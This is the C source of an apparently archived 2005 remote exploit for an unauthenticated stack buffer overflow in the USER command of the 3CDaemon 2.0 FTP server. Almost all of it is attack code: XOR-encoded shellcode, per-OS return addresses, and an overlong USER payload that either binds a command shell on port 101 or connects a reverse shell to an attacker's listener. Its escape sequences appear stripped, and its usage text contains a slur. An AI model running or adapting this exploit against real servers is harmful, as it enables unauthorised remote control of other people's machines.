/* Added " on line 86 /str0ke */

/*
3com 3CDaemon FTP Unauthorized "USER" Remote BOverflow
 
The particularity of this exploit is to exploits a FTP server
without the need of any authorization.
 
Homepage: www.3com.com
version: 3CDaemon v2.0 rev10
Link: ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip
 
Application Risk: Severely High
Internet Risk: Low
 
Hole History:
 
  14-4-2002: BOF flaw found by skyrim
  15-4-2002: crash exploit done. securiteam.com/exploits/5NP050A75A.html
  04-1-2005: Updated advisory by Sowhat securitytracker.com/id?1012768
  17-2-2005: lame exploit released milw0rm.com/id.php?id=825
  18-2-2005: proper exploit released hat-squad.com, class101.org, class101.hat-squad.com
 
Notes:
 
  -4 bad bytes, 0x00, 0x25, 0x0D, 0x0A, badly interpreted by 3CDaemon
  -Nice call ebx offset found.
   Stable accross Win2k Pro&Srv, SP4's serie, every OS languages.
 
Greet: 
  
  Nima Majidi
        Behrang Fouladi
  Pejman
  Hat-Squad.com
  class101.org
  class101.hat-squad.com
 
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif
 
 
 
char scode1[]=
/*XORED*/
"xEBx26x90x00x00x00x00x00x00x02x06x6Cx59x6Cx59"
"xF8x1Dx9CxDEx8CxD1x4Cx70xD4x03x58x46x57x53x32"
"x5Fx33x32x2Ex44x4Cx4Cx01xEBx05xE8xF9xFFxFFxFF"
"x5Dx83xEDx2Cx6Ax30x59x64x8Bx01x8Bx40x0Cx8Bx70"
"x1CxADx8Bx78x08x8Dx5Fx3Cx8Bx1Bx01xFBx8Bx5Bx78"
"x01xFBx8Bx4Bx1Cx01xF9x8Bx53x24x01xFAx53x51x52"
"x8Bx5Bx20x01xFBx31xC9x41x31xC0x99x8Bx34x8Bx01"
"xFExACx31xC2xD1xE2x84xC0x75xF7x0FxB6x45x09x8D"
"x44x45x08x66x39x10x75xE1x66x31x10x5Ax58x5Ex56"
"x50x52x2Bx4Ex10x41x0FxB7x0Cx4Ax8Bx04x88x01xF8"
"x0FxB6x4Dx09x89x44x8DxD8xFEx4Dx09x75xBExFEx4D"
"x08x74x17xFEx4Dx24x8Dx5Dx1Ax53xFFxD0x89xC7x6A"
"x02x58x88x45x09x80x45x79x0CxEBx82x50x8Bx45x04"
"x35x93x93x93x93x89x45x04x66x8Bx45x02x66x35x93"
"x93x66x89x45x02x58x89xCEx31xDBx53x53x53x53x56"
"x46x56xFFxD0x89xC7x55x58x66x89x30x6Ax10x55x57"
"xFFx55xE0x8Dx45x88x50xFFx55xE8x55x55xFFx55xEC"
"x8Dx44x05x0Cx94x53x68x2Ex65x78x65x68x5Cx63x6D"
"x64x94x31xD2x8Dx45xCCx94x57x57x57x53x53xFExCA"
"x01xF2x52x94x8Dx45x78x50x8Dx45x88x50xB1x08x53"
"x53x6Ax10xFExCEx52x53x53x53x55xFFx55xF0x6AxFF"
"xFFx55xE4";
 
char scode2[]=
/*XORED*/
"xD9x74x24xF4x5Bx31xC9xB1x5Ex81x73x17x0ExB4"
"x9Fx23x83xEBxFCxE2xF4xF2x5CxC9x23x0ExB4xCCx76x58"
"xE3x14x4Fx2AxACx14x66x32x3FxCBx26x76xB5x75xA8x44"
"xACx14x79x2ExB5x74xC0x3CxFDx14x17x85xB5x71x12xF1"
"x48xAExE3xA2x8Cx7Fx57x09x75x50x2Ex0Fx73x74xD1x35"
"xC8xBBx37x7Bx55x14x79x2AxB5x74x45x85xB8xD4xA8x54"
"xA8x9ExC8x85xB0x14x22xE6x5Fx9Dx12xCExEBxC1x7Ex55"
"x76x97x23x50xDExAFx7Ax6Ax3Fx86xA8x55xB8x14x78x12"
"x3Fx84xA8x55xBCxCCx4Bx80xFAx91xCFxF1x62x16xE4x8F"
"x58x9Fx22x0ExB4xC8x75x5Dx3Dx7AxCBx29xB4x9Fx23x9E"
"xB5x9Fx23xB8xADx87xC4xAAxADxEFxCAxEBxFDx19x6AxAA"
"xAExEFxE4xAAx19xB1xCAxD7xBDx6Ax8ExC5x59x63x18x59"
"xE7xADx7Cx3Dx86x9Fx78x83xFFxBFx72xF1x63x16xFCx87"
"x77x12x56x1AxDEx98x7Ax5FxE7x60x17x81x4BxCAx27x57"
"x3Dx9BxADxECx46xB4x04x5Ax4BxA8xDCx5Bx84xAExE3x5E"
"xE4xCFx73x4ExE4xDFx73xF1xE1xB3xAAxC9x85x44x70x5D"
"xDCx9Dx23x0ExD1x16xC3x64xA4xCFx74xF1xE1xBBx70x59"
"x4BxCAx0Bx5DxE0xC8xDCx5Bx94x16xE4x66xF7xD2x67x0E"
"x3Dx7CxA4xF4x85x5FxAEx72x90x33x49x1BxEDx6Cx88x89"
"x4Ex1CxCFx5Ax72xDBx07x1ExF0xF9xE4x4Ax90xA3x22x0F"
"x3DxE3x07x46x3DxE3x07x42x3DxE3x07x5Ex39xDBx07x1E"
"xE0xCFx72x5FxE5xDEx72x47xE5xCEx70x5Fx4BxEAx23x66"
"xC6x61x90x18x4BxCAx27xF1x64x16xC5xF1xC1x9Fx4BxA3"
"x6Dx9AxEDxF1xE1x9BxAAxCDxDEx60xDCx38x4Bx4CxDCx7B"
"xB4xF7xD3x84xB0xC0xDCx5BxB0xAExF8x5Dx4Bx4Fx23";
 
char payload[1024];
 
char ebx[]="x08xB0x01x78";
char ebx2[]="xB1x2CxC2x77";
char pad[]="xEBx0Cx90x90";
char EOL[]="x0Dx0A";
 
#ifdef WIN32
 WSADATA wsadata;
#endif
 
void ver();
void usage(char* us);
 
int main(int argc,char *argv[])
{
 ver();
 unsigned long gip;
 unsigned short gport;
 char *target, *os;
 if (argc>6||argc<3||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
 if (argc==5){usage(argv[0]);return -1;}
    if (strlen(argv[2])<7){usage(argv[0]);return -1;}
    if (argc==6)
 {
        if (strlen(argv[4])<7){usage(argv[0]);return -1;}
 }
#ifndef WIN32
 if (argc==6)
 {
   gip=inet_addr(argv[4])^(long)0x93939393;
  gport=htons(atoi(argv[5]))^(short)0x9393;
 }
#define Sleep  sleep
#define SOCKET  int
#define closesocket(s) close(s)
#else
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup errorn");return -1;}
 if (argc==6)
 {
  gip=inet_addr(argv[4])^(ULONG)0x93939393;
  gport=htons(atoi(argv[5]))^(USHORT)0x9393;
 }
#endif
 int ip=htonl(inet_addr(argv[2])), port;
 if (argc==4||argc==6){port=atoi(argv[3]);} else port=21;
 SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
 s=socket(AF_INET,SOCK_STREAM,0);
 if (s==-1){printf("[+] socket() errorn");return -1;}
 if (atoi(argv[1]) == 1){target=ebx;os="Win2k SP4 Server Englishn[+]            Win2k SP4 Pro.   Englishn[+]            Win2k SP4 Pro.   Norskn[+]            Win2k SP4 Server Germann[+]            Win2k SP4 Pro.   Dutchn[+]            Etc...";}
 if (atoi(argv[1]) == 2){target=ebx2;os="WinXP SP2  Pro. Englishn[+]            WinXP SP1a Pro. Englishn[+]            WinXP SP1  Pro. English";}
 printf("[+] target(s): %sn",os);
 server.sin_family=AF_INET;
 server.sin_addr.s_addr=htonl(ip);
 server.sin_port=htons(port);
 connect(s,( struct sockaddr *)&server,sizeof(server));
 timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
 switch(select(s+1,NULL,&mask,NULL,&timeout))
 {
  case -1: {printf("[+] select() errorn");closesocket(s);return -1;}
  case 0: {printf("[+] connect() errorn");closesocket(s);return -1;}
  default:
  if(FD_ISSET(s,&mask))
  {
   printf("[+] connected, constructing the payload...n");
#ifdef WIN32
   Sleep(1000);
#else
   Sleep(1);
#endif
   strcpy(payload,"USER ");
   memset(payload+5,0x90,700);
   memcpy(payload+5+229,&pad,4);
   memcpy(payload+238,target,4);
   if (argc==6)
   {
    memcpy(&scode1[5], &gip, 4);
    memcpy(&scode1[3], &gport, 2);
    memcpy(payload+253,scode1,sizeof(scode1));
   }
   else memcpy(payload+253,scode2,sizeof(scode2));
   strcat(payload,EOL);
   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 1, the server prolly rebooted.n");return -1;}
#ifdef WIN32
   Sleep(2000);
#else
   Sleep(2);
#endif
 
   printf("[+] size of payload: %dn",strlen(payload));
   printf("[+] payload sent.n");
   return 0;
  }
 }
 closesocket(s);
#ifdef WIN32
 WSACleanup();
#endif
 return 0;
}
 

void usage(char* us)
{
 printf("USAGE:n");
 printf("      [+]  . 101_3com.exe Target VulnIP (bind mode)n");
 printf("      [+]  . 101_3com.exe Target VulnIP VulnPORT (bind mode)n");
 printf("      [+]  . 101_3com.exe Target VulnIP VulnPORT GayIP GayPORT (reverse mode)n");
 printf("TARGET:                               n");
 printf("      [+] 1. Win2k SP4  Server English (*)n");
 printf("      [+] 1. Win2k SP4  Pro    English (*)n");
 printf("      [+] 1. Win2k SP4  Server German  (*)n");
 printf("      [+] 1. Win2k SP4  Pro    China   (*)n");
 printf("      [+] 1. Win2k SP4  Pro    Dutch   (*)n");
 printf("      [+] 1. Win2k SP4  Pro    Norsk   (*)n");
 printf("      [+] 2. WinXP SP2  Pro.   English    n");
 printf("      [+] 2. WinXP SP1a Pro.   English (*)n");
 printf("      [+] 2. WinXP SP1  Pro.   English    n");
 printf("NOTE:                               n");
 printf("      The exploit bind a cmdshell port 101 orn");
 printf("      reverse a cmdshell on your listener.n");
 printf("      A wildcard (*) mean tested working, else, supposed working.n");
 printf("      Compilation msvc6, cygwin, Linux.n");
 return;
}
void ver()
{
 printf("                                                                   n");
 printf("        ===================================================[0.1]=====n");
 printf("        ================3COM 3CDaemon v2.0 Revision 10===============n");
 printf("        ==============FTP Service, Remote Stack Overflow=============n");
 printf("        ======coded by class101=============[Hat-Squad.com 2005]=====n");
 printf("        =============================================================n");
 printf("                                                                   n");
}

// www.Syue.com [2005-02-18]